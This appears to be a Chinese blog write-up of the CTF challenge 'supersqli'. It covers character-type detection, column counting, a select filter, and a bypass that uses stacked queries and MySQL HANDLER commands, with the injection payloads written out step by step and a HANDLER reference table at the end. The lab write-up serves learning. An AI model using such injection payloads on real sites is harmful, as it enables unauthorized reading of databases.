作者:[局外人]

分类:[技术分析]

标签CTF SHOW 刷题 新手

阅读时长:约 [2] 分钟

引言(前言)

日常CTF 做题记录,日常做题分享,希望能积累更多的知识!!!

攻防世界supersqli

1.1 题目及分析
<html>
<head><meta charset="UTF-8"><title>easy_sql</title>
</head>
<body>
<h1>取材于某次真实环境,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">姿势: <input type="text" name="inject" value="1"><input type="submit">
</form>
<pre>
</pre>
</body>
</html>
  • 题目分析
  • 此题主要是考察SQL相关流程和方法。
1.2 思路
  • SQL的相关流程
  • 1.判断类型是字符形还是数字型
  • 通常判断是否是字符型
  • 这里就在尾部加一个单引号来形成封闭的字符串查询?inject=1'
  • 这样页面就会报错
  • 如果是?inject=1'--+
  • 这样页面就会正常,因为--+是用于注释后面的SQL语句
  • 2.判断字段数,也就是这个表有几列
  • ?inject=1'order by 1 --+这里从的1开始慢慢加,直到报错,就能知道有几列了
  • 因为报错的时候,证明没有那一列
  • 通常判断列数是为了有助于联合查询,但是这里有一个过滤。
  • 3.查询
  • ?inject=1'union select databases,2 --+
  • return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
  • 发现过滤了select,采用后续的语句逐步查看信息,直接在后面接;来连续运行SQL语句一般来说是不常见的,但是这里可以
  • ?inject=1';show databases --+
  • ?inject=1';use supersqli; show tables; --+
  • ?inject=1';use supersqli;show columns from 1919810931114514; --+
  • 这里可以利用handler命令来读取信息,相关规则在后面的表中
  • playload?inject=1';use supersqli;handler `1919810931114514` open as p;handler p read first;--+,这里的数字需要用`包括起来,避免数据库被当成数字。
1.3 结果

大家多多尝试一下有没有更好的方法吧!

HANDLER命令的总结

以下是MySQL中HANDLER命令的总结,包含操作类型、语法、说明及示例:

操作类型

语法示例

说明

具体例子

打开表

HANDLER table_name OPEN [AS alias_name];

建立与表的连接,后续操作基于此连接;可指定别名简化操作

HANDLER users OPEN;(打开users表)

HANDLER orders OPEN AS o;(打开orders表并别名o

读取数据-第一行

HANDLER table_name READ FIRST;

读取表中的第一行数据(通常基于主键或默认索引顺序)

HANDLER users READ FIRST;(读取users表的第一行)

读取数据-最后一行

HANDLER table_name READ LAST;

读取表中的最后一行数据(依赖表有主键或索引,否则无法使用)

HANDLER users READ LAST;(读取users表的最后一行,需users有主键)

读取数据-下一行

HANDLER table_name READ NEXT;

读取当前行的下一行数据(需先执行FIRST/LAST/索引条件读取定位当前行)

先执行HANDLER users READ FIRST;,再执行HANDLER users READ NEXT;(读取第一行的下一行)

读取数据-上一行

HANDLER table_name READ PREV;

读取当前行的上一行数据(依赖索引,需先定位当前行)

先执行HANDLER users READ LAST;,再执行HANDLER users READ PREV;(读取最后一行的上一行)

读取数据-按索引

`HANDLER table_name READ index_name [=

<=

>=

关闭表

HANDLER table_name CLOSE;

关闭表连接,释放资源(必须执行,避免资源泄露)

HANDLER users CLOSE;(关闭users表的连接)

适用场景

-

1. 频繁访问大型表的特定行(如按主键快速定位)

2. 简单行遍历(游标式访问)

3. 需避免SELECT优化器开销的场景

快速查询logs表中time > '2023-01-01'的前10条记录(大型日志表)

注意事项

-

1. 不支持视图,主要支持InnoDB、MyISAM引擎

2. 不参与事务,可能读取未提交数据

3. 无索引时LAST/PREV无法使用

4. 不支持JOIN/GROUP BY等复杂操作

对视图执行HANDLER view_name OPEN;会报错(不支持视图)

互动环节

  • 各位大佬们是否有更优的实现方式?欢迎分享代码
  • 评论区聊聊吧~